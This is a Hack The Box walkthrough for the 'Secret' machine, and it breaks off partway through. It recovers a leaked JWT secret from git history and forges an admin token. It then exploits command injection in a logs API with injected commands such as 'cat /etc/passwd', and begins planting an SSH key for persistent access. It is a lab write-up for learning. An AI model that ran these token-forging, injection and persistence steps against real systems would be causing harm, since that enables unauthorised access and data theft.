HTB - Secret

17 minute read

Nmap Scan

Lets perform an nmap scan on the target,

┌──(kaliaidenpearce369)-[~]
└─$ nmap -sC -sV -A 10.10.11.120
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 02:49 EDT
Nmap scan report for 10.10.11.120
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.41 seconds

There are three services open on this machine

Enumeration

SSH service is running here, but we don’t know the credentials for this machine

There are web services running on both ports 80 and 3000

After visiting it, looks like both are same

Image

Running gobuster to enumerate directories of the web app,

┌──(kaliaidenpearce369)-[~]
└─$ gobuster dir -u http://10.10.11.120/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.120/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/25 05:30:44 Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 301) [Size: 183] [--> /download/]
/docs                 (Status: 200) [Size: 20720]               
/assets               (Status: 301) [Size: 179] [--> /assets/]  
/api                  (Status: 200) [Size: 93]                  
/Docs                 (Status: 200) [Size: 20720]               
/API                  (Status: 200) [Size: 93]                  
Progress: 16631 / 220561 (7.54%)               

Lets visit the directories with 200 status code

http://10.10.11.120/api seems like an API endpoint

http://10.10.11.120/Docs looks like an API documentation

And visiting the main page gave some useful information, where we could download the source code

Image

After downloading and unzipping the source code, we could see it is a git repo having .git directory

┌──(kaliaidenpearce369)-[~/Downloads]
└─$ cd local-web 
                                                                                 
┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ ls
index.js  node_modules  package-lock.json  routes  validations.js
model     package.json  public             src
                                                                                 
┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ ls -la
total 116
drwxrwxr-x   8 kali kali  4096 Sep  3  2021 .
drwxr-xr-x   4 kali kali  4096 Mar 25 05:49 ..
-rw-rw-r--   1 kali kali    72 Sep  3  2021 .env
drwxrwxr-x   8 kali kali  4096 Sep  8  2021 .git
-rw-rw-r--   1 kali kali   885 Sep  3  2021 index.js
drwxrwxr-x   2 kali kali  4096 Aug 13  2021 model
drwxrwxr-x 201 kali kali  4096 Aug 13  2021 node_modules
-rw-rw-r--   1 kali kali   491 Aug 13  2021 package.json
-rw-rw-r--   1 kali kali 69452 Aug 13  2021 package-lock.json
drwxrwxr-x   4 kali kali  4096 Sep  3  2021 public
drwxrwxr-x   2 kali kali  4096 Sep  3  2021 routes
drwxrwxr-x   4 kali kali  4096 Aug 13  2021 src
-rw-rw-r--   1 kali kali   651 Aug 13  2021 validations.js

And the data inside the dotenv file is,

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ cat .env    
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Viewing git log of the repo,

┌──(kaliaidenpearce369)-[~/Downloads/local-web/.git]
└─$ git log                                                  
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit
(END)

Using git show to find the code changes for our enumeration

┌──(kaliaidenpearce369)-[~/Downloads/local-web/.git]
└─$ git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
     
     if (name == 'theadmin'){
         res.json({
-            role:{
-
-                role:"you are admin", 
-                desc : "{flag will be here}"
+            creds:{
+                role:"admin", 
+                username:"theadmin",
+                desc : "welcome back admin,"
             }
         })
     }
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
             }
         })
     }
+})
+
 
+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+    
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })
 
 router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
 });
 
 
-module.exports = router
\ No newline at end of file
+module.exports = router
(END)

Seems like theadmin user is the administrator of this webapp

┌──(kaliaidenpearce369)-[~/Downloads/local-web/.git]
└─$ git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

The TOKEN_SECRET environmental variable is modified from the source code

With this TOKEN_SECRET we can perform JWT attack for the theadmin user

Attacking JWT tokens

After visiting the web service, we could see it loads some web page

And in the documentation of the web page, we could see it refers to an API call to create a new user

Image

Testing whether the theadmin user already exists or not

┌──(kaliaidenpearce369)-[~]
└─$ curl -X POST http://10.10.11.120:3000/api/user/register  --header "Content-Type: application/json" --data '{"name": "theadmin","email": "drt@dasith.works","password": "testtest"}' 

Name already Exist  

Creating new user with different name,

┌──(kaliaidenpearce369)-[~]
└─$ curl -X POST http://10.10.11.120:3000/api/user/register  --header "Content-Type: application/json" --data '{"name": "monish","email": "monish@abc.com","password": "testtest"}'     

{"user":"monish"} 

There is a new endpoint referred in the documentation, which gives JWT token after performing login

Image

Logging as user to get JWT token,

┌──(kaliaidenpearce369)-[~]
└─$ curl -X POST http://10.10.11.120:3000/api/user/login  --header "Content-Type: application/json" --data '{"email": "monish@abc.com","password": "testtest"}' 
 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoibW9uaXNoIiwiZW1haWwiOiJtb25pc2hAYWJjLmNvbSIsImlhdCI6MTY0ODE5Mjk3NH0.PsMdyNGCUm-UtALax9L-J2a0c9aY_SO9A7iJXqVJJbc  

Decoding this JWT token,

┌──(kaliaidenpearce369)-[~]
└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoibW9uaXNoIiwiZW1haWwiOiJtb25pc2hAYWJjLmNvbSIsImlhdCI6MTY0ODE5Mjk3NH0.PsMdyNGCUm-UtALax9L-J2a0c9aY_SO9A7iJXqVJJbc"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoibW9uaXNoIiwiZW1haWwiOiJtb25pc2hAYWJjLmNvbSIsImlhdCI6MTY0ODE5Mjk3NH0.PsMdyNGCUm-UtALax9L-J2a0c9aY_SO9A7iJXqVJJbc
                                                                                 
┌──(kaliaidenpearce369)-[~]
└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d        
{"alg":"HS256","typ":"JWT"}   

┌──(kaliaidenpearce369)-[~]
└─$ echo "eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoibW9uaXNoIiwiZW1haWwiOiJtb25pc2hAYWJjLmNvbSIsImlhdCI6MTY0ODE5Mjk3NH0=" | base64 -d
{"_id":"623d6d8a282cc8046435d88c","name":"monish","email":"monish@abc.com","iat":1648192974} 

We could also try accessing a private route using the JWT token,

Image

By performing this, we could see that we are a normal user

┌──(kaliaidenpearce369)-[~]
└─$ curl http://10.10.11.120:3000/api/priv  --header "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoibW9uaXNoIiwiZW1haWwiOiJtb25pc2hAYWJjLmNvbSIsImlhdCI6MTY0ODE5Mjk3NH0.PsMdyNGCUm-UtALax9L-J2a0c9aY_SO9A7iJXqVJJbc"

{"role":{"role":"you are normal user","desc":"monish"}}

So we need theadmin JWT token to bypass the authorization and view the details of the private route

Analysing our token in jwt.io

Image

Before, during our enumeration we have found TOKEN_SECRET, using this HMAC Secret we could craft a new malicious JWT token to access privileged resources

Changing the name to theadmin to get admin rights and using the HMAC Secret to sign the token

Image

Passing this JWT token to our private route,

┌──(kaliaidenpearce369)-[~]
└─$ curl http://10.10.11.120:3000/api/priv  --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg"

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

So we can perform authorization as theadmin and can get privileged permissions

Gaining Foothold

From the git commit logs we saw that this webapp uses one special API endpoint /api/logs , only accessible by theadmin

+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+    
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })

Here it gets some request parameters to process this API call

We can pass our payload in file parameter to trigger command injection here const getLogs = `git log --oneline ${file}`;

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file=validations.js

"ab3e953 Added the codes\n"                                                                               

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file="validations.js;id"

"ab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"                 
                                                                        

So command injection works, performing some enumeration

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file="validations.js;whoami"
"ab3e953 Added the codes\ndasith\n" 

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file="validations.js;cat /etc/passwd"
curl: (3) URL using bad/illegal format or missing URL
                                                                                 
┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file="validations.js;cat+/etc/passwd"
"ab3e953 Added the codes\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\ndasith:x:1000:1000:dasith:/home/dasith:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nmongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin\n"

Formatting it in python,

>>> data="root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\ndasith:x:1000:1000:dasith:/home/dasith:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nmongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin\n"
>>> print(data)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin

So dasith is the only user in this machine

Since we are using shell of the user dasith, we can append our SSH PUBLIC KEY into the authorized_keys of the user, so that we can login from our machine using private key

┌──(kaliaidenpearce369)-[~]
└─$ ssh-keygen -t RSA -b 4096 -C "dasith_pwn" -f "secret" -P ""
Generating public/private RSA key pair.
Your identification has been saved in secret
Your public key has been saved in secret.pub
The key fingerprint is:
SHA256:Zbt54TjynuXtbFvm1d5bTjYXT3alAmwgu1A3JAtvkrU dasith_pwn
The key's randomart image is:
+---[RSA 4096]----+
|    . =.=        |
|     * B +       |
|    + E   *     .|
|     + . + o   ..|
|      . S . o ..+|
|           = o o=|
|        . = +  .@|
|         o * o.O*|
|         .+ .o=o*|
+----[SHA256]-----+

We have both public and private keys,

┌──(kaliaidenpearce369)-[~]
└─$ ls secret*
secret  secret.pub
                                                                                 
┌──(kaliaidenpearce369)-[~]
└─$ cat secret.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Z5IFfMHrr2SK1bYAI/1LGzLRCnPa6Y/Lal7eZfgL7j6/7+8OmZXrPEN2jPYn4K/lD4hVmWrAUGS86TaceM7m5XDcI/OAweR9pCFQfcLmMlyLlZxMLWx9DiZQpW05O2kOiH6mHZgzCjpkJZNR80VV6PswidJKtfwWinl+gaTn4J4jk2GMc2IEyQiAs2CWmUcfj9bJ92YNQW7NLoct0VyVjR6b2l1vL676bbIRcBpz7u6AyENPZNfbJdqoszPVsFBVfnnwYmY5ijLpHx1+muvnJK4gnezreDNteF1ZirNAByd+0R0lvkg4evVLsqDU98qfkvUgfZpqX8wTG2LRDqA48qj/d82hWSjRWzFjszdPRgJr57HPT1VStVupA0dqocRYD1lBbtBaN3bfpFQJRNkHti6gcIjgWuy7+6ul+0Ww1cf0OOx8qYj1mq1tsHtkPxZGks46ruQJDj7uW/Zdn6E8luPcev/RTb+hShEeAd1XxKKCYs4XelLvy/aSRiE3mKyQ1ho3XFb//2wTwuzLhZHHYjrjFJMVa2C8ruYkdZkp2T4PBVosbHVudHS92IwT4xWYVALFp+19CGp/GKgYfVYuvvJf3JD89Zf4/1Rcl4TTE/yE9aJANv+zJo4f9q6cofnxIVS/xyjxldQYMTRKiDL5GK5XpY1O78kUxfyisCZ2QQ== dasith_pwn

All we have to do is, check whether the .ssh directory exists or not, if not create one and paste the public key inside authorized_keys file

Checking the home directory,

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
└─$ curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNkNmQ4YTI4MmNjODA0NjQzNWQ4OGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vbmlzaEBhYmMuY29tIiwiaWF0IjoxNjQ4MTkyOTc0fQ.vP6A3ny8hJgiBrOlYGNLTTH4HlgG7DI4fvNOvdJiGvg" http://10.10.11.120:3000/api/logs?file="validations.js;cd;ls+-la"
"ab3e953 Added the codes\ntotal 68\ndrwxr-xr-x 8 dasith dasith  4096 Oct  7 13:12 .\ndrwxr-xr-x 3 root   root    4096 Sep  3  2021 ..\nlrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .bash_history -> /dev/null\n-rw-r--r-- 1 dasith dasith   220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 dasith dasith  3771 Feb 25  2020 .bashrc\ndrwx------ 2 dasith dasith  4096 Aug 13  2021 .cache\ndrwx------ 3 dasith dasith  4096 Aug 13  2021 .config\nlrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .dbshell -> /dev/null\n-rw-rw-r-- 1 dasith dasith    48 Sep  3  2021 .gitconfig\ndrwxrwxr-x 3 dasith dasith  4096 Sep  3  2021 .local\ndrwxrwxr-x 8 dasith dasith  4096 Sep  8  2021 local-web\n-rw------- 1 dasith dasith     0 Aug 13  2021 .mongorc.js\ndrwxrwxr-x 5 dasith dasith  4096 Sep  3  2021 .npm\ndrwxrwxr-x 5 dasith dasith  4096 Mar 25 11:26 .pm2\n-rw-r--r-- 1 dasith dasith   807 Feb 25  2020 .profile\n-rw-rw-r-- 1 dasith dasith    66 Sep  8  2021 .selected_editor\n-r-------- 1 dasith dasith    33 Mar 25 11:26 user.txt\n-rw------- 1 dasith dasith 10942 Sep  8  2021 .viminfo\n"                                        

Formatting it in python,

>>> data="total 68\ndrwxr-xr-x 8 dasith dasith  4096 Oct  7 13:12 .\ndrwxr-xr-x 3 root   root    4096 Sep  3  2021 ..\nlrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .bash_history -> /dev/null\n-rw-r--r-- 1 dasith dasith   220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 dasith dasith  3771 Feb 25  2020 .bashrc\ndrwx------ 2 dasith dasith  4096 Aug 13  2021 .cache\ndrwx------ 3 dasith dasith  4096 Aug 13  2021 .config\nlrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .dbshell -> /dev/null\n-rw-rw-r-- 1 dasith dasith    48 Sep  3  2021 .gitconfig\ndrwxrwxr-x 3 dasith dasith  4096 Sep  3  2021 .local\ndrwxrwxr-x 8 dasith dasith  4096 Sep  8  2021 local-web\n-rw------- 1 dasith dasith     0 Aug 13  2021 .mongorc.js\ndrwxrwxr-x 5 dasith dasith  4096 Sep  3  2021 .npm\ndrwxrwxr-x 5 dasith dasith  4096 Mar 25 11:26 .pm2\n-rw-r--r-- 1 dasith dasith   807 Feb 25  2020 .profile\n-rw-rw-r-- 1 dasith dasith    66 Sep  8  2021 .selected_editor\n-r-------- 1 dasith dasith    33 Mar 25 11:26 user.txt\n-rw------- 1 dasith dasith 10942 Sep  8  2021 .viminfo\n"
>>> print(data)
total 68
drwxr-xr-x 8 dasith dasith  4096 Oct  7 13:12 .
drwxr-xr-x 3 root   root    4096 Sep  3  2021 ..
lrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 dasith dasith   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 dasith dasith  3771 Feb 25  2020 .bashrc
drwx------ 2 dasith dasith  4096 Aug 13  2021 .cache
drwx------ 3 dasith dasith  4096 Aug 13  2021 .config
lrwxrwxrwx 1 dasith dasith     9 Sep  3  2021 .dbshell -> /dev/null
-rw-rw-r-- 1 dasith dasith    48 Sep  3  2021 .gitconfig
drwxrwxr-x 3 dasith dasith  4096 Sep  3  2021 .local
drwxrwxr-x 8 dasith dasith  4096 Sep  8  2021 local-web
-rw------- 1 dasith dasith     0 Aug 13  2021 .mongorc.js
drwxrwxr-x 5 dasith dasith  4096 Sep  3  2021 .npm
drwxrwxr-x 5 dasith dasith  4096 Mar 25 11:26 .pm2
-rw-r--r-- 1 dasith dasith   807 Feb 25  2020 .profile
-rw-rw-r-- 1 dasith dasith    66 Sep  8  2021 .selected_editor
-r-------- 1 dasith dasith    33 Mar 25 11:26 user.txt
-rw------- 1 dasith dasith 10942 Sep  8  2021 .viminfo

So there is no .ssh directory

Passing URL encoded data through curl,

┌──(kaliaidenpearce369)-[~/Downloads/local-web]
